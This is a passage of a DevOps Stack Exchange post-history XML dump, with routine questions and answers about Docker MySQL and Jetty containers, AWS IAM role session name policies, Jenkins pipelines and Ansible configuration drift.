33060, socket: /var/run/mysqld/mysqlx.sock&#xD;&#xA;    2020-09-01T08:28:14.231915Z 0 [Warning] [MY-010068] [Server] CA certificate ca.pem is self signed.&#xD;&#xA;    2020-09-01T08:28:14.232156Z 0 [System] [MY-013602] [Server] Channel mysql_main configured to support TLS. Encrypted connections are now supported for this channel.&#xD;&#xA;    2020-09-01T08:28:14.470976Z 0 [Warning] [MY-011810] [Server] Insecure configuration for --pid-file: Location '/var/run/mysqld' in the path is accessible to all OS users. Consider choosing a different directory.&#xD;&#xA;    2020-09-01T08:28:14.498996Z 0 [System] [MY-010931] [Server] /usr/sbin/mysqld: ready for connections. Version: '8.0.21'  socket: '/var/run/mysqld/mysqld.sock'  port: 3306  MySQL Community Server - GPL.&#xD;&#xA;    &#xD;&#xA;    root:~# &#xD;&#xA;    root:~# &#xD;&#xA;    root:~# docker container ls&#xD;&#xA;    CONTAINER ID        IMAGE               COMMAND                  CREATED             STATUS              PORTS                               NAMES&#xD;&#xA;    8a63d8b9d9c2        mysql               &quot;docker-entrypoint.s…&quot;   2 minutes ago       Up 2 minutes        0.0.0.0:3306-&gt;3306/tcp, 33060/tcp   sql-db&#xD;&#xA;    root:~# &#xD;&#xA;    root:~# docker exec -it 8a63d8b9d9c2 bash&#xD;&#xA;    root@8a63d8b9d9c2:/# &#xD;&#xA;    root@8a63d8b9d9c2:/# &#xD;&#xA;&#xD;&#xA;&#xD;&#xA;so that it's a bit less spammy?&#xD;&#xA;&#xD;&#xA;(Yes, I could just switch to another terminal, using something like `tmux`.)&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://devops.stackexchange.com/q/12317/23443" ContentLicense="CC BY-SA 4.0" />
  <row Id="37849" PostHistoryTypeId="1" PostId="12319" RevisionGUID="00d76fd6-a606-4354-86da-3c503e951e21" CreationDate="2020-09-01T08:32:18.853" UserId="23443" Text="How to create a &quot;silent&quot; MySQL docker container?" ContentLicense="CC BY-SA 4.0" />
  <row Id="37850" PostHistoryTypeId="3" PostId="12319" RevisionGUID="00d76fd6-a606-4354-86da-3c503e951e21" CreationDate="2020-09-01T08:32:18.853" UserId="23443" Text="&lt;docker&gt;&lt;containers&gt;&lt;bash&gt;&lt;images&gt;&lt;mysql&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="37851" PostHistoryTypeId="5" PostId="12319" RevisionGUID="0a5579f7-dced-41b0-a3a7-0fd0fa7938e5" CreationDate="2020-09-01T08:40:07.390" UserId="23443" Comment="added 42 characters in body" Text="How can I [create][1] a `MySQL` docker container as below in the background:&#xD;&#xA;&#xD;&#xA;    root:~# &#xD;&#xA;    root:~# docker run -e MYSQL_ROOT_PASSWORD=pass --name sql-db -p 3306:3306 mysql &amp;&#xD;&#xA;    [1] 137878&#xD;&#xA;    root:~# 2020-09-01 08:25:52+00:00 [Note] [Entrypoint]: Entrypoint script for MySQL Server 8.0.21-1debian10 started.&#xD;&#xA;    2020-09-01 08:25:52+00:00 [Note] [Entrypoint]: Switching to dedicated user 'mysql'&#xD;&#xA;    2020-09-01 08:25:52+00:00 [Note] [Entrypoint]: Entrypoint script for MySQL Server 8.0.21-1debian10 started.&#xD;&#xA;    2020-09-01 08:25:52+00:00 [Note] [Entrypoint]: Initializing database files&#xD;&#xA;    2020-09-01T08:25:52.978020Z 0 [System] [MY-013169] [Server] /usr/sbin/mysqld (mysqld 8.0.21) initializing of server in progress as process 42&#xD;&#xA;    2020-09-01T08:25:52.986993Z 1 [System] [MY-013576] [InnoDB] InnoDB initialization has started.&#xD;&#xA;    &#xD;&#xA;    root:~# &#xD;&#xA;    root:~# 2020-09-01T08:26:03.346159Z 1 [System] [MY-013577] [InnoDB] InnoDB initialization has ended.&#xD;&#xA;    2020-09-01T08:26:29.360246Z 6 [Warning] [MY-010453] [Server] root@localhost is created with an empty password ! Please consider switching off the --initialize-insecure option.&#xD;&#xA;    &#xD;&#xA;    root:~# &#xD;&#xA;    root:~# 2020-09-01 08:27:35+00:00 [Note] [Entrypoint]: Database files initialized&#xD;&#xA;    2020-09-01 08:27:35+00:00 [Note] [Entrypoint]: Starting temporary server&#xD;&#xA;    2020-09-01T08:27:35.640682Z 0 [System] [MY-010116] [Server] /usr/sbin/mysqld (mysqld 8.0.21) starting as process 89&#xD;&#xA;    2020-09-01T08:27:35.782142Z 1 [System] [MY-013576] [InnoDB] InnoDB initialization has started.&#xD;&#xA;    2020-09-01T08:27:37.207138Z 1 [System] [MY-013577] [InnoDB] InnoDB initialization has ended.&#xD;&#xA;    2020-09-01T08:27:37.562152Z 0 [System] [MY-011323] [Server] X Plugin ready for connections. Socket: /var/run/mysqld/mysqlx.sock&#xD;&#xA;    2020-09-01T08:27:38.036662Z 0 [Warning] [MY-010068] [Server] CA certificate ca.pem is self signed.&#xD;&#xA;    2020-09-01T08:27:38.036911Z 0 [System] [MY-013602] [Server] Channel mysql_main configured to support TLS. Encrypted connections are now supported for this channel.&#xD;&#xA;    2020-09-01T08:27:38.071799Z 0 [Warning] [MY-011810] [Server] Insecure configuration for --pid-file: Location '/var/run/mysqld' in the path is accessible to all OS users. Consider choosing a different directory.&#xD;&#xA;    2020-09-01T08:27:38.105387Z 0 [System] [MY-010931] [Server] /usr/sbin/mysqld: ready for connections. Version: '8.0.21'  socket: '/var/run/mysqld/mysqld.sock'  port: 0  MySQL Community Server - GPL.&#xD;&#xA;    2020-09-01 08:27:38+00:00 [Note] [Entrypoint]: Temporary server started.&#xD;&#xA;    Warning: Unable to load '/usr/share/zoneinfo/iso3166.tab' as time zone. Skipping it.&#xD;&#xA;    Warning: Unable to load '/usr/share/zoneinfo/leap-seconds.list' as time zone. Skipping it.&#xD;&#xA;    Warning: Unable to load '/usr/share/zoneinfo/zone.tab' as time zone. Skipping it.&#xD;&#xA;    Warning: Unable to load '/usr/share/zoneinfo/zone1970.tab' as time zone. Skipping it.&#xD;&#xA;    &#xD;&#xA;    2020-09-01 08:27:51+00:00 [Note] [Entrypoint]: Stopping temporary server&#xD;&#xA;    2020-09-01T08:27:51.591046Z 10 [System] [MY-013172] [Server] Received SHUTDOWN from user root. Shutting down mysqld (Version: 8.0.21).&#xD;&#xA;    2020-09-01T08:28:09.444982Z 0 [System] [MY-010910] [Server] /usr/sbin/mysqld: Shutdown complete (mysqld 8.0.21)  MySQL Community Server - GPL.&#xD;&#xA;    2020-09-01 08:28:09+00:00 [Note] [Entrypoint]: Temporary server stopped&#xD;&#xA;    &#xD;&#xA;    2020-09-01 08:28:09+00:00 [Note] [Entrypoint]: MySQL init process done. Ready for start up.&#xD;&#xA;    &#xD;&#xA;    2020-09-01T08:28:10.181619Z 0 [System] [MY-010116] [Server] /usr/sbin/mysqld (mysqld 8.0.21) starting as process 1&#xD;&#xA;    2020-09-01T08:28:10.297757Z 1 [System] [MY-013576] [InnoDB] InnoDB initialization has started.&#xD;&#xA;    2020-09-01T08:28:11.863493Z 1 [System] [MY-013577] [InnoDB] InnoDB initialization has ended.&#xD;&#xA;    2020-09-01T08:28:12.702126Z 0 [System] [MY-011323] [Server] X Plugin ready for connections. Bind-address: '::' port: 33060, socket: /var/run/mysqld/mysqlx.sock&#xD;&#xA;    2020-09-01T08:28:14.231915Z 0 [Warning] [MY-010068] [Server] CA certificate ca.pem is self signed.&#xD;&#xA;    2020-09-01T08:28:14.232156Z 0 [System] [MY-013602] [Server] Channel mysql_main configured to support TLS. Encrypted connections are now supported for this channel.&#xD;&#xA;    2020-09-01T08:28:14.470976Z 0 [Warning] [MY-011810] [Server] Insecure configuration for --pid-file: Location '/var/run/mysqld' in the path is accessible to all OS users. Consider choosing a different directory.&#xD;&#xA;    2020-09-01T08:28:14.498996Z 0 [System] [MY-010931] [Server] /usr/sbin/mysqld: ready for connections. Version: '8.0.21'  socket: '/var/run/mysqld/mysqld.sock'  port: 3306  MySQL Community Server - GPL.&#xD;&#xA;    &#xD;&#xA;    root:~# &#xD;&#xA;    root:~# &#xD;&#xA;    root:~# docker container ls&#xD;&#xA;    CONTAINER ID        IMAGE               COMMAND                  CREATED             STATUS              PORTS                               NAMES&#xD;&#xA;    8a63d8b9d9c2        mysql               &quot;docker-entrypoint.s…&quot;   2 minutes ago       Up 2 minutes        0.0.0.0:3306-&gt;3306/tcp, 33060/tcp   sql-db&#xD;&#xA;    root:~# &#xD;&#xA;    root:~# docker exec -it 8a63d8b9d9c2 bash&#xD;&#xA;    root@8a63d8b9d9c2:/# &#xD;&#xA;    root@8a63d8b9d9c2:/# &#xD;&#xA;&#xD;&#xA;&#xD;&#xA;so that it's a bit less spammy?&#xD;&#xA;&#xD;&#xA;(Yes, I could just switch to another terminal, using something like `tmux`, or route output to `/dev/null` of course.)&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://devops.stackexchange.com/q/12317/23443" ContentLicense="CC BY-SA 4.0" />
  <row Id="37852" PostHistoryTypeId="5" PostId="12281" RevisionGUID="917c04ed-c2bc-4a24-aad1-a0caecf8bb7c" CreationDate="2020-09-01T14:05:07.663" UserId="10769" Comment="added 13 characters in body" Text="The problem is a typo in your build command:&#xD;&#xA;&#xD;&#xA;&gt; docker build -f webserver .&#xD;&#xA;&#xD;&#xA;what's the webserver file you are using for that build if the script is described in the Dockerfile?&#xD;&#xA;BTW I have built your image and there is no interactive menu appeared, so just build it))&#xD;&#xA;&#xD;&#xA;```docker build -t webserver .```" ContentLicense="CC BY-SA 4.0" />
  <row Id="37853" PostHistoryTypeId="2" PostId="12320" RevisionGUID="b8281216-cbec-40b2-9a8d-7a053c44f49d" CreationDate="2020-09-01T14:21:08.017" UserId="18685" Text="I want to enforce users to use role session name when assuming a role in AWS. I've tried the following condition in IAM policies:&#xD;&#xA;&#xD;&#xA;```&#xD;&#xA;    {&#xD;&#xA;      &quot;Effect&quot;: &quot;Allow&quot;,&#xD;&#xA;      &quot;Principal&quot;: {&#xD;&#xA;        &quot;AWS&quot;: &quot;arn:aws:iam::&lt;redacted&gt;:root&quot;&#xD;&#xA;      },&#xD;&#xA;      &quot;Action&quot;: &quot;sts:AssumeRole&quot;,&#xD;&#xA;      &quot;Condition&quot;: {&#xD;&#xA;        &quot;StringLike&quot;: {&#xD;&#xA;          &quot;sts:RoleSessionName&quot;: &quot;${aws:username}&quot;&#xD;&#xA;        }&#xD;&#xA;      }&#xD;&#xA;    }&#xD;&#xA;```&#xD;&#xA;&#xD;&#xA;While this works fine when assuming a role as a user it does not work when assuming a role from a role with administrator privileges (`Allow * on *`). The only way to block this would be an explicit `Deny` when a role tries to assume a given role and does not have session name set up. Any ideas how to write a policy doing this? A simple `Deny` like below does not work because `aws:username` is not present when `Assumed Role` is the principal (see [docs][1]).&#xD;&#xA;&#xD;&#xA;```&#xD;&#xA;    {&#xD;&#xA;      &quot;Effect&quot;: &quot;Deny&quot;,&#xD;&#xA;      &quot;Principal&quot;: {&#xD;&#xA;        &quot;AWS&quot;: &quot;arn:aws:iam::&lt;redacted&gt;:root&quot;&#xD;&#xA;      },&#xD;&#xA;      &quot;Action&quot;: &quot;sts:AssumeRole&quot;,&#xD;&#xA;      &quot;Condition&quot;: {&#xD;&#xA;        &quot;StringNotLike&quot;: {&#xD;&#xA;          &quot;sts:RoleSessionName&quot;: &quot;${aws:username}&quot;&#xD;&#xA;        }&#xD;&#xA;      }&#xD;&#xA;    }&#xD;&#xA;```&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://docs.aws.amazon.com/IAM/latest/UserGuide/reference_policies_variables.html" ContentLicense="CC BY-SA 4.0" />
  <row Id="37854" PostHistoryTypeId="1" PostId="12320" RevisionGUID="b8281216-cbec-40b2-9a8d-7a053c44f49d" CreationDate="2020-09-01T14:21:08.017" UserId="18685" Text="Force role session name in AWS IAM" ContentLicense="CC BY-SA 4.0" />
  <row Id="37855" PostHistoryTypeId="3" PostId="12320" RevisionGUID="b8281216-cbec-40b2-9a8d-7a053c44f49d" CreationDate="2020-09-01T14:21:08.017" UserId="18685" Text="&lt;amazon-web-services&gt;&lt;aws-iam&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="37856" PostHistoryTypeId="2" PostId="12321" RevisionGUID="7d7644fe-7226-47b9-a629-94d785e5140c" CreationDate="2020-09-01T14:46:37.873" UserId="9148" Text="You can run the contsainer in detatched mode by passing `-d` with the run command: https://docs.docker.com/engine/reference/run/#detached-vs-foreground" ContentLicense="CC BY-SA 4.0" />
  <row Id="37857" PostHistoryTypeId="2" PostId="12322" RevisionGUID="f30bc74e-d6f4-484a-a460-408e1978bb2a" CreationDate="2020-09-01T17:21:16.880" UserId="23774" Text="node.js runs via a command line (no windows involved). If you want to run more than one copy of the same program you can simply start it more that once. &#xD;&#xA;&#xD;&#xA;Take this simple one: &#xD;&#xA;https://nodejs.org/en/docs/guides/getting-started-guide/&#xD;&#xA;&#xD;&#xA;Since it runs on a dedicated port (3000) if you start it more that once it will fail. &#xD;&#xA;&#xD;&#xA;Here is something I found on google that details all the ways to do this:&#xD;&#xA;https://itnext.io/4-solutions-to-run-multiple-node-js-or-npm-commands-simultaneously-9edaa6215a93" ContentLicense="CC BY-SA 4.0" />
  <row Id="37858" PostHistoryTypeId="2" PostId="12323" RevisionGUID="1b786267-fb53-490a-abf2-27010d79be1c" CreationDate="2020-09-01T17:23:53.450" UserId="23774" Text="You could use the git credentials.helper feature&#xD;&#xA;https://git-scm.com/docs/gitcredentials&#xD;&#xA;" ContentLicense="CC BY-SA 4.0" />
  <row Id="37859" PostHistoryTypeId="2" PostId="12324" RevisionGUID="50cee281-f156-41b1-8c53-7e1afd6292ef" CreationDate="2020-09-01T19:47:08.293" UserId="4427" Text="I have not tried it but I think if you change your deny to a list of elements it will work. &#xD;&#xA;&#xD;&#xA;    {&#xD;&#xA;      &quot;Effect&quot;: &quot;Deny&quot;,&#xD;&#xA;      &quot;Principal&quot;: {&#xD;&#xA;        &quot;AWS&quot;: &quot;arn:aws:iam::&lt;redacted&gt;:root&quot;&#xD;&#xA;      },&#xD;&#xA;      &quot;Action&quot;: &quot;sts:AssumeRole&quot;,&#xD;&#xA;      &quot;Condition&quot;: {&#xD;&#xA;        &quot;StringNotLike&quot;: {&#xD;&#xA;          &quot;sts:RoleSessionName&quot;: [&#xD;&#xA;            &quot;${aws:username}&quot;,&#xD;&#xA;            &quot;AnotherAllowedName&quot;&#xD;&#xA;          ]&#xD;&#xA;        }&#xD;&#xA;      }&#xD;&#xA;    }&#xD;&#xA;&#xD;&#xA;This will allow an IAM user to assume the role if they use their username as the session name and it will also allow other Principals to assume the role if they use &quot;AnotherAllowedName&quot; as the session name but all other session names would be declined. I found this AWS [blog post][1] helpful when researching this answer&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://aws.amazon.com/blogs/security/easily-control-naming-individual-iam-role-sessions/" ContentLicense="CC BY-SA 4.0" />
  <row Id="37860" PostHistoryTypeId="2" PostId="12325" RevisionGUID="286ce0eb-0110-4015-bde8-bcd9986e60e4" CreationDate="2020-09-01T20:17:30.313" UserId="12864" Text="As the [documentation][1] clearly states `docker run` command should be invoked as follows:&#xD;&#xA;&#xD;&#xA;    docker run [OPTIONS] IMAGE[:TAG|@DIGEST] [COMMAND] [ARG...]&#xD;&#xA;&#xD;&#xA;so when you run&#xD;&#xA;&#xD;&#xA;    docker run mysql -p 3306:3306 -e MYSQL_ROOT_PASSWORD=password&#xD;&#xA;&#xD;&#xA;Docker assumes `-p 3306:3306 -e MYSQL_ROOT_PASSWORD=password` is a command you want to run inside the container, not a list of options for `docker run` command.&#xD;&#xA;&#xD;&#xA;The proper `docker run` invocation with the parameters you specified is:&#xD;&#xA;&#xD;&#xA;    docker run -p 3306:3306 -e MYSQL_ROOT_PASSWORD=password mysql&#xD;&#xA;&#xD;&#xA;  [1]: https://docs.docker.com/engine/reference/run/" ContentLicense="CC BY-SA 4.0" />
  <row Id="37861" PostHistoryTypeId="5" PostId="12320" RevisionGUID="9a7eb043-f3e0-4c19-b4cf-132de405708a" CreationDate="2020-09-01T20:46:17.750" UserId="18685" Comment="deleted 70 characters in body" Text="I want to enforce users to use their IAM username as the role session name when assuming a role in AWS. I've tried the following condition in IAM policies:&#xD;&#xA;&#xD;&#xA;```&#xD;&#xA;{&#xD;&#xA;  &quot;Effect&quot;: &quot;Allow&quot;,&#xD;&#xA;  &quot;Principal&quot;: {&#xD;&#xA;    &quot;AWS&quot;: &quot;arn:aws:iam::&lt;redacted&gt;:root&quot;&#xD;&#xA;  },&#xD;&#xA;  &quot;Action&quot;: &quot;sts:AssumeRole&quot;,&#xD;&#xA;  &quot;Condition&quot;: {&#xD;&#xA;    &quot;StringLike&quot;: {&#xD;&#xA;      &quot;sts:RoleSessionName&quot;: &quot;${aws:username}&quot;&#xD;&#xA;    }&#xD;&#xA;  }&#xD;&#xA;}&#xD;&#xA;```&#xD;&#xA;&#xD;&#xA;While this works fine when assuming a role as a user it does not work when assuming a role from a role with administrator privileges (`Allow * on *`). The only way to block this would be an explicit `Deny` when a role tries to assume a given role and does not have session name set up. Any ideas how to write a policy doing this? A simple `Deny` like below does not work because `aws:username` is not present when `Assumed Role` is the principal (see [docs][1]).&#xD;&#xA;&#xD;&#xA;```&#xD;&#xA;{&#xD;&#xA;  &quot;Effect&quot;: &quot;Deny&quot;,&#xD;&#xA;  &quot;Principal&quot;: {&#xD;&#xA;    &quot;AWS&quot;: &quot;arn:aws:iam::&lt;redacted&gt;:root&quot;&#xD;&#xA;  },&#xD;&#xA;  &quot;Action&quot;: &quot;sts:AssumeRole&quot;,&#xD;&#xA;  &quot;Condition&quot;: {&#xD;&#xA;    &quot;StringNotLike&quot;: {&#xD;&#xA;      &quot;sts:RoleSessionName&quot;: &quot;${aws:username}&quot;&#xD;&#xA;    }&#xD;&#xA;  }&#xD;&#xA;}&#xD;&#xA;```&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://docs.aws.amazon.com/IAM/latest/UserGuide/reference_policies_variables.html" ContentLicense="CC BY-SA 4.0" />
  <row Id="37862" PostHistoryTypeId="5" PostId="12321" RevisionGUID="d084f72f-d60b-4937-b8c9-b63596c11519" CreationDate="2020-09-01T20:56:42.667" UserId="12864" Comment="Fixed typos. Added second variant of the parameter." Text="You can run the container in detached mode by passing `-d` or `--detach` with the run command: https://docs.docker.com/engine/reference/run/#detached-vs-foreground" ContentLicense="CC BY-SA 4.0" />
  <row Id="37863" PostHistoryTypeId="24" PostId="12321" RevisionGUID="d084f72f-d60b-4937-b8c9-b63596c11519" CreationDate="2020-09-01T20:56:42.667" Comment="Proposed by 12864 approved by 9148 edit id of 1270" ContentLicense="CC BY-SA 4.0" />
  <row Id="37867" PostHistoryTypeId="2" PostId="12327" RevisionGUID="44e82b30-a42d-4157-a784-e2fb548e1d9a" CreationDate="2020-09-02T13:08:28.437" UserId="12294" Text="If you want to re-run a Jenkins job, you can click the `Rebuild` button which sometimes appears as the `Replay` button.&#xD;&#xA;&#xD;&#xA;What is the difference `Rebuild`ing a job versus `Replay`ing it?&#xD;&#xA;Why is it that some jobs display `Replay` while others display `Rebuild`?" ContentLicense="CC BY-SA 4.0" />
  <row Id="37868" PostHistoryTypeId="1" PostId="12327" RevisionGUID="44e82b30-a42d-4157-a784-e2fb548e1d9a" CreationDate="2020-09-02T13:08:28.437" UserId="12294" Text="What is the difference between Jenkin's `Replay` and `Rebuild` options?" ContentLicense="CC BY-SA 4.0" />
  <row Id="37869" PostHistoryTypeId="3" PostId="12327" RevisionGUID="44e82b30-a42d-4157-a784-e2fb548e1d9a" CreationDate="2020-09-02T13:08:28.437" UserId="12294" Text="&lt;jenkins&gt;&lt;jenkins-pipeline&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="37870" PostHistoryTypeId="5" PostId="12327" RevisionGUID="46631dd6-b531-4369-ba00-5b8d2ec349e8" CreationDate="2020-09-02T13:43:16.843" UserId="12294" Comment="edit formatting" Text="If you want to re-run a Jenkins job, you can click the `Rebuild` button which sometimes appears as the `Replay` button.&#xD;&#xA;&#xD;&#xA;**What is the difference `Rebuild`ing a job versus `Replay`ing it?**&#xD;&#xA;&#xD;&#xA;**Why is it that some jobs display `Replay` while others display `Rebuild`?**" ContentLicense="CC BY-SA 4.0" />
  <row Id="37871" PostHistoryTypeId="2" PostId="12328" RevisionGUID="f651c4b1-7721-497f-8673-7341b2ce4bc0" CreationDate="2020-09-02T14:08:46.687" UserId="23783" Text="I already used the following declarative script as a part of my cleanup script, now I should convert it to the scripted pipeline, how I can convert the post to the scripted pipeline?&#xD;&#xA;&#xD;&#xA;    stages {&#xD;&#xA;    stage ('Cleanup Feature Releases') {&#xD;&#xA;        agent any&#xD;&#xA;        steps {&#xD;&#xA;            script {&#xD;&#xA;                envParameters = Utils.getEnvParameters(&quot;${TARGET_ENV}&quot;)&#xD;&#xA;                withKubeConfig([credentialsId: envParameters.K8S_TOKEN,&#xD;&#xA;                                serverUrl: envParameters.K8S_API_SERVER,&#xD;&#xA;                                contextName: CONTEXT_NAME&#xD;&#xA;                ]) {&#xD;&#xA;                    sh &quot;Running on ${params.OVERRIDE_NAMESPACE}&quot;&#xD;&#xA;                }&#xD;&#xA;            }&#xD;&#xA;        }&#xD;&#xA;        post {&#xD;&#xA;            failure {&#xD;&#xA;                cleanUpNotification(&quot;FAILURE&quot;, params.DRY_RUN)&#xD;&#xA;            }&#xD;&#xA;            aborted {&#xD;&#xA;                cleanUpNotification(&quot;ABORTED&quot;, params.DRY_RUN)&#xD;&#xA;            }&#xD;&#xA;            success {&#xD;&#xA;                cleanUpNotification(&quot;SUCCESS&quot;, params.DRY_RUN)&#xD;&#xA;            }&#xD;&#xA;        }&#xD;&#xA;    }&#xD;&#xA;}" ContentLicense="CC BY-SA 4.0" />
  <row Id="37872" PostHistoryTypeId="1" PostId="12328" RevisionGUID="f651c4b1-7721-497f-8673-7341b2ce4bc0" CreationDate="2020-09-02T14:08:46.687" UserId="23783" Text="convert declarative pipeline to scripted pipeline" ContentLicense="CC BY-SA 4.0" />
  <row Id="37873" PostHistoryTypeId="3" PostId="12328" RevisionGUID="f651c4b1-7721-497f-8673-7341b2ce4bc0" CreationDate="2020-09-02T14:08:46.687" UserId="23783" Text="&lt;jenkins&gt;&lt;jenkins-pipeline&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="37874" PostHistoryTypeId="2" PostId="12329" RevisionGUID="81af6cac-9e43-40ee-bd09-a0680bd40669" CreationDate="2020-09-02T16:43:46.487" UserId="9148" Text="Rebuild, using the [Rebuilder plugin][1] allows a completed job to be re-executed while allowing you to change the parameters, assuming your job is parameterized. &#xD;&#xA;&#xD;&#xA;Replay does something similar, except it doesn't show you parameters. Instead, it shows the pipeline code directly. This is helpful when wanting to test changes iteratively as you can click Replay, change one or two lines of code, then let it execute. The job will run using the same parameters as it did the first time it ran/completed. &#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://plugins.jenkins.io/rebuild/" ContentLicense="CC BY-SA 4.0" />
  <row Id="37875" PostHistoryTypeId="2" PostId="12330" RevisionGUID="50eab657-78d5-477a-bb6d-367df2d29447" CreationDate="2020-09-02T16:56:54.727" UserId="4115" Text="The scripted equivalent to the declarative&#xD;&#xA;&#xD;&#xA;    steps {&#xD;&#xA;      // pipeline steps here&#xD;&#xA;    post {&#xD;&#xA;      failure {&#xD;&#xA;        // failure handler here&#xD;&#xA;      }&#xD;&#xA;      success {&#xD;&#xA;        // success handler here&#xD;&#xA;      }&#xD;&#xA;      always {&#xD;&#xA;        // always handler here&#xD;&#xA;      }&#xD;&#xA;    }&#xD;&#xA;&#xD;&#xA;is the native Groovy `try { } catch { }`:&#xD;&#xA;&#xD;&#xA;    try {&#xD;&#xA;      // pipeline steps here&#xD;&#xA;&#xD;&#xA;      // success handler here&#xD;&#xA;    } catch(Exception e) {&#xD;&#xA;      // failure handler here&#xD;&#xA;    } finally {&#xD;&#xA;      // always handler here&#xD;&#xA;    }&#xD;&#xA;&#xD;&#xA;I'm not sure off the top of my head how to add an abort handler, but I think you might be able to do it by inspecting the `currentBuild.result` variable in the failure handler block." ContentLicense="CC BY-SA 4.0" />
  <row Id="37876" PostHistoryTypeId="2" PostId="12331" RevisionGUID="b69233cc-7ccb-44aa-bd1a-7f771ef6cc0e" CreationDate="2020-09-02T18:16:55.307" UserId="18791" Text="I understand how Ansible works and what it is used for.&#xD;&#xA;&#xD;&#xA;However, I was wondering if there is a way or feature (in open-source or enterprise edition) in Ansible using which, we can make sure that the configuration of a VM instance or server is always in sync with Ansible?&#xD;&#xA;&#xD;&#xA;***For example:***&#xD;&#xA;&#xD;&#xA;I used Ansible to install a few things (like MySQL server, spin up some docker containers etc.) on a [Google Compute Instance](https://cloud.google.com/compute/docs/instances). Now after some time I manually SSH into this VM and stop the docker container created by Ansible. Can Ansible be notified of this in order to create the container again?&#xD;&#xA;&#xD;&#xA;So if Ansible sets configuration of a VM in ***state A*** and another user manually changes the state to ***state B***, is there a way that Ansible can be notified of this change and runs the playbooks again to set the configuration back to ***state A***?" ContentLicense="CC BY-SA 4.0" />
  <row Id="37877" PostHistoryTypeId="1" PostId="12331" RevisionGUID="b69233cc-7ccb-44aa-bd1a-7f771ef6cc0e" CreationDate="2020-09-02T18:16:55.307" UserId="18791" Text="Can we use Ansible for monitoring configuration?" ContentLicense="CC BY-SA 4.0" />
  <row Id="37878" PostHistoryTypeId="3" PostId="12331" RevisionGUID="b69233cc-7ccb-44aa-bd1a-7f771ef6cc0e" CreationDate="2020-09-02T18:16:55.307" UserId="18791" Text="&lt;ansible&gt;&lt;configuration-management&gt;&lt;configuration&gt;&lt;google-compute-engine&gt;&lt;ansible-inventory&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="37883" PostHistoryTypeId="2" PostId="12334" RevisionGUID="476a8e11-6c58-495b-bdee-e0da4f5a6f33" CreationDate="2020-09-03T05:01:39.497" UserId="12833" Text="Ansible is not state manager like Terraform but just automation tool. I think the only way to keep **state A** configuration is run ansible in cron. I saw such use case with chef automation tool." ContentLicense="CC BY-SA 4.0" />
  <row Id="37884" PostHistoryTypeId="2" PostId="12335" RevisionGUID="88798f08-891a-4033-98ce-83bf178100a6" CreationDate="2020-09-03T05:46:35.003" UserId="354" Text="The simple answer is &quot;yes&quot; you _can_ use Ansible for monitoring configuration, but you will have to do some extra work. As Vasily stated in their answer, Ansible does not have a built in triggering mechanism, so you need something to trigger the convergence of state. This can be done in several ways, the easiest being probably [`ansible-pull`](https://docs.ansible.com/ansible/latest/cli/ansible-pull.html). As the docs state, `ansible-pull`&#xD;&#xA;&#xD;&#xA;&gt; ... inverts the default push architecture of ansible into a pull architecture, which has near-limitless scaling potential.&#xD;&#xA;&gt; The setup playbook can be tuned to change the cron frequency, logging locations, and parameters to ansible-pull. This is useful both for extreme scale-out **as well as periodic remediation.**&#xD;&#xA;&#xD;&#xA;_emphasis added_.&#xD;&#xA;&#xD;&#xA;Ansible is idempotent, so it _does_ know about the state of target machines, contrary to what Vasily's answer states - it just doesn't persist it in the same way as [Terraform does](https://www.terraform.io/docs/state/index.html).&#xD;&#xA;&#xD;&#xA;Your real problem does not sound like the question you are posing (&quot;Can Ansible be used to ensure the state of a machine?&quot;), but rather **&quot;how can I detect configuration drift and trigger a remediation?&quot;**&#xD;&#xA;&#xD;&#xA;If you think of this as a monitoring problem, you can reframe the question as &quot;how should I monitor my services in production?&quot;. Monitoring implies alarms on changes in state, which trigger actions to remediate. In your case, you would define an alarm on the health check of the service, when that is triggered, execute the playbook which converges to the desired state.&#xD;&#xA;&#xD;&#xA;Since you have already invested time in writing the Ansible playbook, it would make sense to re-use it. The simplest would be to use that same playbook to invoke a cron which runs `ansible-pull` every 5 minutes or so, depending on your particular case.&#xD;&#xA;" ContentLicense="CC BY-SA 4.0" />
  <row Id="37886" PostHistoryTypeId="10" PostId="12308" RevisionGUID="cbce3e77-0cca-49d0-9053-7cacdd6b7b0b" CreationDate="2020-09-03T07:23:36.130" UserId="40" Comment="103" Text="{&quot;Voters&quot;:[{&quot;Id&quot;:9148,&quot;DisplayName&quot;:&quot;Argyle&quot;},{&quot;Id&quot;:40,&quot;DisplayName&quot;:&quot;Pierre.Vriens&quot;}]}" />
  <row Id="37888" PostHistoryTypeId="2" PostId="12336" RevisionGUID="97aab6c0-7afe-46ab-9966-623ced50ba94" CreationDate="2020-09-03T09:48:40.313" UserId="23443" Text="Having created a [docker][1] container as:&#xD;&#xA;&#xD;&#xA;    docker run -d --name=jetty  jetty&#xD;&#xA;    &#xD;&#xA;How do I now [get][2] a hello world page as?&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;    Looking up localhost:8080&#xD;&#xA;    Making HTTP connection to localhost:8080&#xD;&#xA;    Alert!: Unable to connect to remote host.&#xD;&#xA;    &#xD;&#xA;    lynx: Can't access startfile http://localhost:8080/&#xD;&#xA;&#xD;&#xA;and:&#xD;&#xA;&#xD;&#xA;    Looking up localhost&#xD;&#xA;    Making HTTP connection to localhost&#xD;&#xA;    Alert!: Unable to connect to remote host.&#xD;&#xA;    &#xD;&#xA;    lynx: Can't access startfile http://localhost/&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;containers:&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;    CONTAINER ID        IMAGE               COMMAND                  CREATED             STATUS              PORTS               NAMES&#xD;&#xA;    5379d3f41d20        jetty               &quot;/docker-entrypoint.…&quot;   4 seconds ago       Up 2 seconds        8080/tcp            jetty&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://hub.docker.com/_/jetty&#xD;&#xA;  [2]: https://stackoverflow.com/q/62509854/4531180" ContentLicense="CC BY-SA 4.0" />
